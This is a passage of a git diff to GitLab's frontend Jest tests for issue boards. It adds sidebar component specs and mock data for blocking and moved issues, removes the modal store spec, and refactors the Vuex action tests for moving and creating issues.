index 00000000000..03924bfa8d3
--- /dev/null
+++ b/spec/frontend/boards/components/sidebar/board_sidebar_time_tracker_spec.js
@@ -0,0 +1,58 @@
+/*
+ To avoid duplicating tests in time_tracker.spec,
+ this spec only contains a simple test to check rendering.
+
+ A detailed feature spec is used to test time tracking feature
+ in swimlanes sidebar.
+*/
+
+import { shallowMount } from '@vue/test-utils';
+import BoardSidebarTimeTracker from '~/boards/components/sidebar/board_sidebar_time_tracker.vue';
+import { createStore } from '~/boards/stores';
+import IssuableTimeTracker from '~/sidebar/components/time_tracking/time_tracker.vue';
+
+describe('BoardSidebarTimeTracker', () => {
+ let wrapper;
+ let store;
+
+ const createComponent = (options) => {
+ wrapper = shallowMount(BoardSidebarTimeTracker, {
+ store,
+ ...options,
+ });
+ };
+
+ beforeEach(() => {
+ store = createStore();
+ store.state.boardItems = {
+ 1: {
+ timeEstimate: 3600,
+ totalTimeSpent: 1800,
+ humanTimeEstimate: '1h',
+ humanTotalTimeSpent: '30min',
+ },
+ };
+ store.state.activeId = '1';
+ });
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ it.each([[true], [false]])(
+ 'renders IssuableTimeTracker with correct spent and estimated time (timeTrackingLimitToHours=%s)',
+ (timeTrackingLimitToHours) => {
+ createComponent({ provide: { timeTrackingLimitToHours } });
+
+ expect(wrapper.find(IssuableTimeTracker).props()).toEqual({
+ timeEstimate: 3600,
+ timeSpent: 1800,
+ humanTimeEstimate: '1h',
+ humanTimeSpent: '30min',
+ limitToHours: timeTrackingLimitToHours,
+ showCollapsed: false,
+ });
+ },
+ );
+});
diff --git a/spec/frontend/boards/components/sidebar/board_sidebar_title_spec.js b/spec/frontend/boards/components/sidebar/board_sidebar_title_spec.js
new file mode 100644
index 00000000000..c8ccd4c88a5
--- /dev/null
+++ b/spec/frontend/boards/components/sidebar/board_sidebar_title_spec.js
@@ -0,0 +1,182 @@
+import { GlAlert, GlFormInput, GlForm } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+import BoardEditableItem from '~/boards/components/sidebar/board_editable_item.vue';
+import BoardSidebarTitle from '~/boards/components/sidebar/board_sidebar_title.vue';
+import { createStore } from '~/boards/stores';
+import createFlash from '~/flash';
+
+const TEST_TITLE = 'New item title';
+const TEST_ISSUE_A = {
+ id: 'gid://gitlab/Issue/1',
+ iid: 8,
+ title: 'Issue 1',
+ referencePath: 'h/b#1',
+};
+const TEST_ISSUE_B = {
+ id: 'gid://gitlab/Issue/2',
+ iid: 9,
+ title: 'Issue 2',
+ referencePath: 'h/b#2',
+};
+
+jest.mock('~/flash');
+
+describe('~/boards/components/sidebar/board_sidebar_title.vue', () => {
+ let wrapper;
+ let store;
+
+ afterEach(() => {
+ localStorage.clear();
+ wrapper.destroy();
+ store = null;
+ wrapper = null;
+ });
+
+ const createWrapper = (item = TEST_ISSUE_A) => {
+ store = createStore();
+ store.state.boardItems = { [item.id]: { ...item } };
+ store.dispatch('setActiveId', { id: item.id });
+
+ wrapper = shallowMount(BoardSidebarTitle, {
+ store,
+ provide: {
+ canUpdate: true,
+ },
+ stubs: {
+ 'board-editable-item': BoardEditableItem,
+ },
+ });
+ };
+
+ const findForm = () => wrapper.find(GlForm);
+ const findAlert = () => wrapper.find(GlAlert);
+ const findFormInput = () => wrapper.find(GlFormInput);
+ const findEditableItem = () => wrapper.find(BoardEditableItem);
+ const findCancelButton = () => wrapper.find('[data-testid="cancel-button"]');
+ const findTitle = () => wrapper.find('[data-testid="item-title"]');
+ const findCollapsed = () => wrapper.find('[data-testid="collapsed-content"]');
+
+ it('renders title and reference', () => {
+ createWrapper();
+
+ expect(findTitle().text()).toContain(TEST_ISSUE_A.title);
+ expect(findCollapsed().text()).toContain(TEST_ISSUE_A.referencePath);
+ });
+
+ it('does not render alert', () => {
+ createWrapper();
+
+ expect(findAlert().exists()).toBe(false);
+ });
+
+ describe('when new title is submitted', () => {
+ beforeEach(async () => {
+ createWrapper();
+
+ jest.spyOn(wrapper.vm, 'setActiveItemTitle').mockImplementation(() => {
+ store.state.boardItems[TEST_ISSUE_A.id].title = TEST_TITLE;
+ });
+ findFormInput().vm.$emit('input', TEST_TITLE);
+ findForm().vm.$emit('submit', { preventDefault: () => {} });
+ await wrapper.vm.$nextTick();
+ });
+
+ it('collapses sidebar and renders new title', () => {
+ expect(findCollapsed().isVisible()).toBe(true);
+ expect(findTitle().text()).toContain(TEST_TITLE);
+ });
+
+ it('commits change to the server', () => {
+ expect(wrapper.vm.setActiveItemTitle).toHaveBeenCalledWith({
+ title: TEST_TITLE,
+ projectPath: 'h/b',
+ });
+ });
+ });
+
+ describe('when submitting and invalid title', () => {
+ beforeEach(async () => {
+ createWrapper();
+
+ jest.spyOn(wrapper.vm, 'setActiveItemTitle').mockImplementation(() => {});
+ findFormInput().vm.$emit('input', '');
+ findForm().vm.$emit('submit', { preventDefault: () => {} });
+ await wrapper.vm.$nextTick();
+ });
+
+ it('commits change to the server', () => {
+ expect(wrapper.vm.setActiveItemTitle).not.toHaveBeenCalled();
+ });
+ });
+
+ describe('when abandoning the form without saving', () => {
+ beforeEach(async () => {
+ createWrapper();
+
+ wrapper.vm.$refs.sidebarItem.expand();
+ findFormInput().vm.$emit('input', TEST_TITLE);
+ findEditableItem().vm.$emit('off-click');
+ await wrapper.vm.$nextTick();
+ });
+
+ it('does not collapses sidebar and shows alert', () => {
+ expect(findCollapsed().isVisible()).toBe(false);
+ expect(findAlert().exists()).toBe(true);
+ expect(localStorage.getItem(`${TEST_ISSUE_A.id}/item-title-pending-changes`)).toBe(
+ TEST_TITLE,
+ );
+ });
+ });
+
+ describe('when accessing the form with pending changes', () => {
+ beforeAll(() => {
+ localStorage.setItem(`${TEST_ISSUE_A.id}/item-title-pending-changes`, TEST_TITLE);
+
+ createWrapper();
+ });
+
+ it('sets title, expands item and shows alert', async () => {
+ expect(wrapper.vm.title).toBe(TEST_TITLE);
+ expect(findCollapsed().isVisible()).toBe(false);
+ expect(findAlert().exists()).toBe(true);
+ });
+ });
+
+ describe('when cancel button is clicked', () => {
+ beforeEach(async () => {
+ createWrapper(TEST_ISSUE_B);
+
+ jest.spyOn(wrapper.vm, 'setActiveItemTitle').mockImplementation(() => {
+ store.state.boardItems[TEST_ISSUE_B.id].title = TEST_TITLE;
+ });
+ findFormInput().vm.$emit('input', TEST_TITLE);
+ findCancelButton().vm.$emit('click');
+ await wrapper.vm.$nextTick();
+ });
+
+ it('collapses sidebar and render former title', () => {
+ expect(wrapper.vm.setActiveItemTitle).not.toHaveBeenCalled();
+ expect(findCollapsed().isVisible()).toBe(true);
+ expect(findTitle().text()).toBe(TEST_ISSUE_B.title);
+ });
+ });
+
+ describe('when the mutation fails', () => {
+ beforeEach(async () => {
+ createWrapper(TEST_ISSUE_B);
+
+ jest.spyOn(wrapper.vm, 'setActiveItemTitle').mockImplementation(() => {
+ throw new Error(['failed mutation']);
+ });
+ findFormInput().vm.$emit('input', 'Invalid title');
+ findForm().vm.$emit('submit', { preventDefault: () => {} });
+ await wrapper.vm.$nextTick();
+ });
+
+ it('collapses sidebar and renders former item title', () => {
+ expect(findCollapsed().isVisible()).toBe(true);
+ expect(findTitle().text()).toContain(TEST_ISSUE_B.title);
+ expect(createFlash).toHaveBeenCalled();
+ });
+ });
+});
diff --git a/spec/frontend/boards/mock_data.js b/spec/frontend/boards/mock_data.js
index 500240d00fc..1c5b7cf8248 100644
--- a/spec/frontend/boards/mock_data.js
+++ b/spec/frontend/boards/mock_data.js
@@ -3,6 +3,7 @@
import { keyBy } from 'lodash';
import Vue from 'vue';
import '~/boards/models/list';
+import { ListType } from '~/boards/constants';
import boardsStore from '~/boards/stores/boards_store';
export const boardObj = {
@@ -125,7 +126,7 @@ export const labels = [
export const rawIssue = {
title: 'Issue 1',
id: 'gid://gitlab/Issue/436',
- iid: 27,
+ iid: '27',
dueDate: null,
timeEstimate: 0,
weight: null,
@@ -152,7 +153,7 @@ export const rawIssue = {
export const mockIssue = {
id: 'gid://gitlab/Issue/436',
- iid: 27,
+ iid: '27',
title: 'Issue 1',
dueDate: null,
timeEstimate: 0,
@@ -398,3 +399,128 @@ export const mockActiveGroupProjects = [
{ ...mockGroupProject1, archived: false },
{ ...mockGroupProject2, archived: false },
];
+
+export const mockIssueGroupPath = 'gitlab-org';
+export const mockIssueProjectPath = `${mockIssueGroupPath}/gitlab-test`;
+
+export const mockBlockingIssue1 = {
+ id: 'gid://gitlab/Issue/525',
+ iid: '6',
+ title: 'blocking issue title 1',
+ reference: 'gitlab-org/my-project-1#6',
+ webUrl: 'http://gdk.test:3000/gitlab-org/my-project-1/-/issues/6',
+ __typename: 'Issue',
+};
+
+export const mockBlockingIssue2 = {
+ id: 'gid://gitlab/Issue/524',
+ iid: '5',
+ title:
+ 'blocking issue title 2 + blocking issue title 2 + blocking issue title 2 + blocking issue title 2',
+ reference: 'gitlab-org/my-project-1#5',
+ webUrl: 'http://gdk.test:3000/gitlab-org/my-project-1/-/issues/5',
+ __typename: 'Issue',
+};
+
+export const mockBlockingIssue3 = {
+ id: 'gid://gitlab/Issue/523',
+ iid: '4',
+ title: 'blocking issue title 3',
+ reference: 'gitlab-org/my-project-1#4',
+ webUrl: 'http://gdk.test:3000/gitlab-org/my-project-1/-/issues/4',
+ __typename: 'Issue',
+};
+
+export const mockBlockingIssue4 = {
+ id: 'gid://gitlab/Issue/522',
+ iid: '3',
+ title: 'blocking issue title 4',
+ reference: 'gitlab-org/my-project-1#3',
+ webUrl: 'http://gdk.test:3000/gitlab-org/my-project-1/-/issues/3',
+ __typename: 'Issue',
+};
+
+export const mockBlockingIssuablesResponse1 = {
+ data: {
+ issuable: {
+ __typename: 'Issue',
+ id: 'gid://gitlab/Issue/527',
+ blockingIssuables: {
+ __typename: 'IssueConnection',
+ nodes: [mockBlockingIssue1],
+ },
+ },
+ },
+};
+
+export const mockBlockingIssuablesResponse2 = {
+ data: {
+ issuable: {
+ __typename: 'Issue',
+ id: 'gid://gitlab/Issue/527',
+ blockingIssuables: {
+ __typename: 'IssueConnection',
+ nodes: [mockBlockingIssue2],
+ },
+ },
+ },
+};
+
+export const mockBlockingIssuablesResponse3 = {
+ data: {
+ issuable: {
+ __typename: 'Issue',
+ id: 'gid://gitlab/Issue/527',
+ blockingIssuables: {
+ __typename: 'IssueConnection',
+ nodes: [mockBlockingIssue1, mockBlockingIssue2, mockBlockingIssue3, mockBlockingIssue4],
+ },
+ },
+ },
+};
+
+export const mockBlockedIssue1 = {
+ id: '527',
+ blockedByCount: 1,
+};
+
+export const mockBlockedIssue2 = {
+ id: '527',
+ blockedByCount: 4,
+ webUrl: 'http://gdk.test:3000/gitlab-org/my-project-1/-/issues/0',
+};
+
+export const mockMoveIssueParams = {
+ itemId: 1,
+ fromListId: 'gid://gitlab/List/1',
+ toListId: 'gid://gitlab/List/2',
+ moveBeforeId: undefined,
+ moveAfterId: undefined,
+};
+
+export const mockMoveState = {
+ boardLists: {
+ 'gid://gitlab/List/1': {
+ listType: ListType.backlog,
+ },
+ 'gid://gitlab/List/2': {
+ listType: ListType.closed,
+ },
+ },
+ boardItems: {
+ [mockMoveIssueParams.itemId]: { foo: 'bar' },
+ },
+ boardItemsByListId: {
+ [mockMoveIssueParams.fromListId]: [mockMoveIssueParams.itemId],
+ [mockMoveIssueParams.toListId]: [],
+ },
+};
+
+export const mockMoveData = {
+ reordering: false,
+ shouldClone: false,
+ itemNotInToList: true,
+ originalIndex: 0,
+ originalIssue: { foo: 'bar' },
+ ...mockMoveIssueParams,
+};
diff --git a/spec/frontend/boards/modal_store_spec.js b/spec/frontend/boards/modal_store_spec.js
deleted file mode 100644
index 5b5ae4b6556..00000000000
--- a/spec/frontend/boards/modal_store_spec.js
+++ /dev/null
@@ -1,134 +0,0 @@
-/* global ListIssue */
-
-import '~/boards/models/label';
-import '~/boards/models/assignee';
-import '~/boards/models/issue';
-import '~/boards/models/list';
-import Store from '~/boards/stores/modal_store';
-
-describe('Modal store', () => {
- let issue;
- let issue2;
-
- beforeEach(() => {
- // Set up default state
- Store.store.issues = [];
- Store.store.selectedIssues = [];
-
- issue = new ListIssue({
- title: 'Testing',
- id: 1,
- iid: 1,
- confidential: false,
- labels: [],
- assignees: [],
- });
- issue2 = new ListIssue({
- title: 'Testing',
- id: 2,
- iid: 2,
- confidential: false,
- labels: [],
- assignees: [],
- });
- Store.store.issues.push(issue);
- Store.store.issues.push(issue2);
- });
-
- it('returns selected count', () => {
- expect(Store.selectedCount()).toBe(0);
- });
-
- it('toggles the issue as selected', () => {
- Store.toggleIssue(issue);
-
- expect(issue.selected).toBe(true);
- expect(Store.selectedCount()).toBe(1);
- });
-
- it('toggles the issue as un-selected', () => {
- Store.toggleIssue(issue);
- Store.toggleIssue(issue);
-
- expect(issue.selected).toBe(false);
- expect(Store.selectedCount()).toBe(0);
- });
-
- it('toggles all issues as selected', () => {
- Store.toggleAll();
-
- expect(issue.selected).toBe(true);
- expect(issue2.selected).toBe(true);
- expect(Store.selectedCount()).toBe(2);
- });
-
- it('toggles all issues as un-selected', () => {
- Store.toggleAll();
- Store.toggleAll();
-
- expect(issue.selected).toBe(false);
- expect(issue2.selected).toBe(false);
- expect(Store.selectedCount()).toBe(0);
- });
-
- it('toggles all if a single issue is selected', () => {
- Store.toggleIssue(issue);
- Store.toggleAll();
-
- expect(issue.selected).toBe(true);
- expect(issue2.selected).toBe(true);
- expect(Store.selectedCount()).toBe(2);
- });
-
- it('adds issue to selected array', () => {
- issue.selected = true;
- Store.addSelectedIssue(issue);
-
- expect(Store.selectedCount()).toBe(1);
- });
-
- it('removes issue from selected array', () => {
- Store.addSelectedIssue(issue);
- Store.removeSelectedIssue(issue);
-
- expect(Store.selectedCount()).toBe(0);
- });
-
- it('returns selected issue index if present', () => {
- Store.toggleIssue(issue);
-
- expect(Store.selectedIssueIndex(issue)).toBe(0);
- });
-
- it('returns -1 if issue is not selected', () => {
- expect(Store.selectedIssueIndex(issue)).toBe(-1);
- });
-
- it('finds the selected issue', () => {
- Store.toggleIssue(issue);
-
- expect(Store.findSelectedIssue(issue)).toBe(issue);
- });
-
- it('does not find a selected issue', () => {
- expect(Store.findSelectedIssue(issue)).toBe(undefined);
- });
-
- it('does not remove from selected issue if tab is not all', () => {
- Store.store.activeTab = 'selected';
-
- Store.toggleIssue(issue);
- Store.toggleIssue(issue);
-
- expect(Store.store.selectedIssues.length).toBe(1);
- expect(Store.selectedCount()).toBe(0);
- });
-
- it('gets selected issue array with only selected issues', () => {
- Store.toggleIssue(issue);
- Store.toggleIssue(issue2);
- Store.toggleIssue(issue2);
-
- expect(Store.getSelectedIssues().length).toBe(1);
- });
-});
diff --git a/spec/frontend/boards/stores/actions_spec.js b/spec/frontend/boards/stores/actions_spec.js
index 69d2c8977fb..460e77a3f03 100644
--- a/spec/frontend/boards/stores/actions_spec.js
+++ b/spec/frontend/boards/stores/actions_spec.js
@@ -1,16 +1,21 @@
+import * as Sentry from '@sentry/browser';
+import issueMoveListMutation from 'ee_else_ce/boards/graphql/issue_move_list.mutation.graphql';
import testAction from 'helpers/vuex_action_helper';
import {
fullBoardId,
formatListIssues,
formatBoardLists,
formatIssueInput,
+ formatIssue,
+ getMoveData,
} from '~/boards/boards_util';
-import { inactiveId, ISSUABLE } from '~/boards/constants';
+import { inactiveId, ISSUABLE, ListType } from '~/boards/constants';
import destroyBoardListMutation from '~/boards/graphql/board_list_destroy.mutation.graphql';
import issueCreateMutation from '~/boards/graphql/issue_create.mutation.graphql';
-import issueMoveListMutation from '~/boards/graphql/issue_move_list.mutation.graphql';
import actions, { gqlClient } from '~/boards/stores/actions';
import * as types from '~/boards/stores/mutation_types';
+import { getIdFromGraphQLId } from '~/graphql_shared/utils';
+
import {
mockLists,
mockListsById,
@@ -22,6 +27,9 @@ import {
labels,
mockActiveIssue,
mockGroupProjects,
+ mockMoveIssueParams,
+ mockMoveState,
+ mockMoveData,
} from '../mock_data';
jest.mock('~/flash');
@@ -638,73 +646,314 @@ describe('resetIssues', () => {
});
describe('moveItem', () => {
- it('should dispatch moveIssue action', () => {
+ it('should dispatch moveIssue action with payload', () => {
+ const payload = { mock: 'payload' };
+
testAction({
action: actions.moveItem,
- expectedActions: [{ type: 'moveIssue' }],
+ payload,
+ expectedActions: [{ type: 'moveIssue', payload }],
});
});
});
describe('moveIssue', () => {
- const listIssues = {
- 'gid://gitlab/List/1': [436, 437],
- 'gid://gitlab/List/2': [],
- };
-
- const issues = {
- 436: mockIssue,
- 437: mockIssue2,
- };
-
- const state = {
- fullPath: 'gitlab-org',
- boardId: '1',
- boardType: 'group',
- disabled: false,
- boardLists: mockLists,
- boardItemsByListId: listIssues,
- boardItems: issues,
- };
+ it('should dispatch a correct set of actions', () => {
+ testAction({
+ action: actions.moveIssue,
+ payload: mockMoveIssueParams,
+ state: mockMoveState,
+ expectedActions: [
+ { type: 'moveIssueCard', payload: mockMoveData },
+ { type: 'updateMovedIssue', payload: mockMoveData },
+ { type: 'updateIssueOrder', payload: { moveData: mockMoveData } },
+ ],
+ });
+ });
+});
- it('should commit MOVE_ISSUE mutation and MOVE_ISSUE_SUCCESS mutation when successful', (done) => {
- jest.spyOn(gqlClient, 'mutate').mockResolvedValue({
- data: {
- issueMoveList: {
- issue: rawIssue,
- errors: [],
+describe('moveIssueCard and undoMoveIssueCard', () => {
+ describe('card should move without clonning', () => {
+ let state;
+ let params;
+ let moveMutations;
+ let undoMutations;
+
+ describe('when re-ordering card', () => {
+ beforeEach(
+ ({
+ itemId = 123,
+ fromListId = 'gid://gitlab/List/1',
+ toListId = 'gid://gitlab/List/1',
+ originalIssue = { foo: 'bar' },
+ originalIndex = 0,
+ moveBeforeId = undefined,
+ moveAfterId = undefined,
+ } = {}) => {
+ state = {
+ boardLists: {
+ [toListId]: { listType: ListType.backlog },
+ [fromListId]: { listType: ListType.backlog },
+ },
+ boardItems: { [itemId]: originalIssue },
+ boardItemsByListId: { [fromListId]: [123] },
+ };
+ params = { itemId, fromListId, toListId, moveBeforeId, moveAfterId };
+ moveMutations = [
+ { type: types.REMOVE_BOARD_ITEM_FROM_LIST, payload: { itemId, listId: fromListId } },
+ {
+ type: types.ADD_BOARD_ITEM_TO_LIST,
+ payload: { itemId, listId: toListId, moveBeforeId, moveAfterId },
+ },
+ ];
+ undoMutations = [
+ { type: types.UPDATE_BOARD_ITEM, payload: originalIssue },
+ { type: types.REMOVE_BOARD_ITEM_FROM_LIST, payload: { itemId, listId: fromListId } },
+ {
+ type: types.ADD_BOARD_ITEM_TO_LIST,
+ payload: { itemId, listId: fromListId, atIndex: originalIndex },
+ },
+ ];
},
- },
+ );
+
+ it('moveIssueCard commits a correct set of actions', () => {
+ testAction({
+ action: actions.moveIssueCard,
+ state,
+ payload: getMoveData(state, params),
+ expectedMutations: moveMutations,
+ });
+ });
+
+ it('undoMoveIssueCard commits a correct set of actions', () => {
+ testAction({
+ action: actions.undoMoveIssueCard,
+ state,
+ payload: getMoveData(state, params),
+ expectedMutations: undoMutations,
+ });
+ });
});
- testAction(
- actions.moveIssue,
- {
- itemId: '436',
- itemIid: mockIssue.iid,
- itemPath: mockIssue.referencePath,
- fromListId: 'gid://gitlab/List/1',
- toListId: 'gid://gitlab/List/2',
- },
- state,
+ describe.each([
[
+ 'issue moves out of backlog',
{
- type: types.MOVE_ISSUE,
- payload: {
- originalIssue: mockIssue,
- fromListId: 'gid://gitlab/List/1',
- toListId: 'gid://gitlab/List/2',
- },
+ fromListType: ListType.backlog,
+ toListType: ListType.label,
},
+ ],
+ [
+ 'issue card moves to closed',
{
- type: types.MOVE_ISSUE_SUCCESS,
- payload: { issue: rawIssue },
+ fromListType: ListType.label,
+ toListType: ListType.closed,
},
],
- [],
- done,
- );
+ [
+ 'issue card moves to non-closed, non-backlog list of the same type',
+ {
+ fromListType: ListType.label,
+ toListType: ListType.label,
+ },
+ ],
+ ])('when %s', (_, { toListType, fromListType }) => {
+ beforeEach(
+ ({
+ itemId = 123,
+ fromListId = 'gid://gitlab/List/1',
+ toListId = 'gid://gitlab/List/2',
+ originalIssue = { foo: 'bar' },
+ originalIndex = 0,
+ moveBeforeId = undefined,
+ moveAfterId = undefined,
+ } = {}) => {
+ state = {
+ boardLists: {
+ [fromListId]: { listType: fromListType },
+ [toListId]: { listType: toListType },
+ },
+ boardItems: { [itemId]: originalIssue },
+ boardItemsByListId: { [fromListId]: [123], [toListId]: [] },
+ };
+ params = { itemId, fromListId, toListId, moveBeforeId, moveAfterId };
+ moveMutations = [
+ { type: types.REMOVE_BOARD_ITEM_FROM_LIST, payload: { itemId, listId: fromListId } },
+ {
+ type: types.ADD_BOARD_ITEM_TO_LIST,
+ payload: { itemId, listId: toListId, moveBeforeId, moveAfterId },
+ },
+ ];
+ undoMutations = [
+ { type: types.UPDATE_BOARD_ITEM, payload: originalIssue },
+ { type: types.REMOVE_BOARD_ITEM_FROM_LIST, payload: { itemId, listId: toListId } },
+ {
+ type: types.ADD_BOARD_ITEM_TO_LIST,
+ payload: { itemId, listId: fromListId, atIndex: originalIndex },
+ },
+ ];
+ },
+ );
+
+ it('moveIssueCard commits a correct set of actions', () => {
+ testAction({
+ action: actions.moveIssueCard,
+ state,
+ payload: getMoveData(state, params),
+ expectedMutations: moveMutations,
+ });
+ });
+
+ it('undoMoveIssueCard commits a correct set of actions', () => {
+ testAction({
+ action: actions.undoMoveIssueCard,
+ state,
+ payload: getMoveData(state, params),
+ expectedMutations: undoMutations,
+ });
+ });
+ });
+ });
+
+ describe('card should clone on move', () => {
+ let state;
+ let params;
+ let moveMutations;
+ let undoMutations;
+
+ describe.each([
+ [
+ 'issue card moves to non-closed, non-backlog list of a different type',
+ {
+ fromListType: ListType.label,
+ toListType: ListType.assignee,
+ },
+ ],
+ ])('when %s', (_, { toListType, fromListType }) => {
+ beforeEach(
+ ({
+ itemId = 123,
+ fromListId = 'gid://gitlab/List/1',
+ toListId = 'gid://gitlab/List/2',
+ originalIssue = { foo: 'bar' },
+ originalIndex = 0,
+ moveBeforeId = undefined,
+ moveAfterId = undefined,
+ } = {}) => {
+ state = {
+ boardLists: {
+ [fromListId]: { listType: fromListType },
+ [toListId]: { listType: toListType },
+ },
+ boardItems: { [itemId]: originalIssue },
+ boardItemsByListId: { [fromListId]: [123], [toListId]: [] },
+ };
+ params = { itemId, fromListId, toListId, moveBeforeId, moveAfterId };
+ moveMutations = [
+ { type: types.REMOVE_BOARD_ITEM_FROM_LIST, payload: { itemId, listId: fromListId } },
+ {
+ type: types.ADD_BOARD_ITEM_TO_LIST,
+ payload: { itemId, listId: toListId, moveBeforeId, moveAfterId },
+ },
+ {
+ type: types.ADD_BOARD_ITEM_TO_LIST,
+ payload: { itemId, listId: fromListId, atIndex: originalIndex },
+ },
+ ];
+ undoMutations = [
+ { type: types.UPDATE_BOARD_ITEM, payload: originalIssue },
+ { type: types.REMOVE_BOARD_ITEM_FROM_LIST, payload: { itemId, listId: fromListId } },
+ { type: types.REMOVE_BOARD_ITEM_FROM_LIST, payload: { itemId, listId: toListId } },
+ {
+ type: types.ADD_BOARD_ITEM_TO_LIST,
+ payload: { itemId, listId: fromListId, atIndex: originalIndex },
+ },
+ ];
+ },
+ );
+
+ it('moveIssueCard commits a correct set of actions', () => {
+ testAction({
+ action: actions.moveIssueCard,
+ state,
+ payload: getMoveData(state, params),
+ expectedMutations: moveMutations,
+ });
+ });
+
+ it('undoMoveIssueCard commits a correct set of actions', () => {
+ testAction({
+ action: actions.undoMoveIssueCard,
+ state,
+ payload: getMoveData(state, params),
+ expectedMutations: undoMutations,
+ });
+ });
+ });
});
+});
+
+describe('updateMovedIssueCard', () => {
+ const label1 = {
+ id: 'label1',
+ };
+
+ it.each([
+ [
+ 'issue without a label is moved to a label list',
+ {
+ state: {
+ boardLists: {
+ from: {},
+ to: {
+ listType: ListType.label,
+ label: label1,
+ },
+ },
+ boardItems: {
+ 1: {
+ labels: [],
+ },
+ },
+ },
+ moveData: {
+ itemId: 1,
+ fromListId: 'from',
+ toListId: 'to',
+ },
+ updatedIssue: { labels: [label1] },
+ },
+ ],
+ ])(
+ 'should commit UPDATE_BOARD_ITEM with a correctly updated issue data when %s',
+ (_, { state, moveData, updatedIssue }) => {
+ testAction({
+ action: actions.updateMovedIssue,
+ payload: moveData,
+ state,
+ expectedMutations: [{ type: types.UPDATE_BOARD_ITEM, payload: updatedIssue }],
+ });
+ },
+ );
+});
+
+describe('updateIssueOrder', () => {
+ const issues = {
+ 436: mockIssue,
+ 437: mockIssue2,
+ };
+
+ const state = {
+ boardItems: issues,
+ boardId: 'gid://gitlab/Board/1',
+ };
+
+ const moveData = {
+ itemId: 436,
+ fromListId: 'gid://gitlab/List/1',
+ toListId: 'gid://gitlab/List/2',
+ };
it('calls mutate with the correct variables', () => {
const mutationVariables = {
@@ -728,61 +977,56 @@ describe('moveIssue', () => {
},
});
- actions.moveIssue(
- { state, commit: () => {} },
- {
- itemId: mockIssue.id,
- itemIid: mockIssue.iid,
- itemPath: mockIssue.referencePath,
- fromListId: 'gid://gitlab/List/1',
- toListId: 'gid://gitlab/List/2',
- },
- );
+ actions.updateIssueOrder({ state, commit: () => {}, dispatch: () => {} }, { moveData });
expect(gqlClient.mutate).toHaveBeenCalledWith(mutationVariables);
});
- it('should commit MOVE_ISSUE mutation and MOVE_ISSUE_FAILURE mutation when unsuccessful', (done) => {
+ it('should commit MUTATE_ISSUE_SUCCESS mutation when successful', () => {
jest.spyOn(gqlClient, 'mutate').mockResolvedValue({
data: {
issueMoveList: {
- issue: {},
- errors: [{ foo: 'bar' }],
+ issue: rawIssue,
+ errors: [],
},
},
});
testAction(
- actions.moveIssue,
- {
- itemId: '436',
- itemIid: mockIssue.iid,
- itemPath: mockIssue.referencePath,
- fromListId: 'gid://gitlab/List/1',
- toListId: 'gid://gitlab/List/2',
- },
+ actions.updateIssueOrder,
+ { moveData },
state,
[
{
- type: types.MOVE_ISSUE,
- payload: {
- originalIssue: mockIssue,
- fromListId: 'gid://gitlab/List/1',
- toListId: 'gid://gitlab/List/2',
- },
+ type: types.MUTATE_ISSUE_SUCCESS,
+ payload: { issue: rawIssue },
},
+ ],
+ [],
+ );
+ });
+
+ it('should commit SET_ERROR and dispatch undoMoveIssueCard', () => {
+ jest.spyOn(gqlClient, 'mutate').mockResolvedValue({
+ data: {
+ issueMoveList: {
+ issue: {},
+ errors: [{ foo: 'bar' }],
+ },
+ },
+ });
+
+ testAction(
+ actions.updateIssueOrder,
+ { moveData },
+ state,
+ [
{
- type: types.MOVE_ISSUE_FAILURE,
- payload: {
- originalIssue: mockIssue,
- fromListId: 'gid://gitlab/List/1',
- toListId: 'gid://gitlab/List/2',
- originalIndex: 0,
- },
+ type: types.SET_ERROR,
+ payload: 'An error occurred while moving the issue. Please try again.',
},
],
- [],
- done,
+ [{ type: 'undoMoveIssueCard', payload: moveData }],
);
});
});
@@ -798,11 +1042,11 @@ describe('setAssignees', () => {
testAction(
actions.setAssignees,
[node],
- { activeIssue: { iid, referencePath: refPath }, commit: () => {} },
+ { activeBoardItem: { iid, referencePath: refPath }, commit: () => {} },
[
{
- type: 'UPDATE_ISSUE_BY_ID',
- payload: { prop: 'assignees', issueId: undefined, value: [node] },
+ type: 'UPDATE_BOARD_ITEM_BY_ID',
+ payload: { prop: 'assignees', itemId: undefined, value: [node] },
},
],
[],
@@ -812,7 +1056,43 @@ describe('setAssignees', () => {
});
});
-describe('createNewIssue', () => {
+describe('addListItem', () => {
+ it('should commit ADD_BOARD_ITEM_TO_LIST and UPDATE_BOARD_ITEM mutations', () => {
+ const payload = {
+ list: mockLists[0],
+ item: mockIssue,
+ position: 0,
+ };
+
+ testAction(actions.addListItem, payload, {}, [
+ {
+ type: types.ADD_BOARD_ITEM_TO_LIST,
+ payload: {
+ listId: mockLists[0].id,
+ itemId: mockIssue.id,
+ atIndex: 0,
+ },
+ },
+ { type: types.UPDATE_BOARD_ITEM, payload: mockIssue },
+ ]);
+ });
+});
+
+describe('removeListItem', () => {
+ it('should commit REMOVE_BOARD_ITEM_FROM_LIST and REMOVE_BOARD_ITEM mutations', () => {
+ const payload = {
+ listId: mockLists[0].id,
+ itemId: mockIssue.id,
+ };
+
+ testAction(actions.removeListItem, payload, {}, [
+ { type: types.REMOVE_BOARD_ITEM_FROM_LIST, payload },
+ { type: types.REMOVE_BOARD_ITEM, payload: mockIssue.id },
+ ]);
+ });
+});
+
+describe('addListNewIssue', () => {
const state = {
boardType: 'group',
fullPath: 'gitlab-org/gitlab',
@@ -839,19 +1119,7 @@ describe('createNewIssue', () => {
},
};
- it('should return issue from API on success', async () => {
- jest.spyOn(gqlClient, 'mutate').mockResolvedValue({
- data: {
- createIssue: {
- issue: mockIssue,
- errors: [],
- },
- },
- });
-
- const result = await actions.createNewIssue({ state }, mockIssue);
- expect(result).toEqual(mockIssue);
- });
+ const fakeList = { id: 'gid://gitlab/List/123' };
it('should add board scope to the issue being created', async () => {
jest.spyOn(gqlClient, 'mutate').mockResolvedValue({
@@ -863,7 +1131,11 @@ describe('createNewIssue', () => {
},
});
- await actions.createNewIssue({ state: stateWithBoardConfig }, mockIssue);
+ await actions.addListNewIssue(
+ { dispatch: jest.fn(), commit: jest.fn(), state: stateWithBoardConfig },
+ { issueInput: mockIssue, list: fakeList },
+ );
+
expect(gqlClient.mutate).toHaveBeenCalledWith({
mutation: issueCreateMutation,
variables: {
@@ -890,7 +1162,11 @@ describe('createNewIssue', () => {
const payload = formatIssueInput(issue, stateWithBoardConfig.boardConfig);
- await actions.createNewIssue({ state: stateWithBoardConfig }, issue);
+ await actions.addListNewIssue(
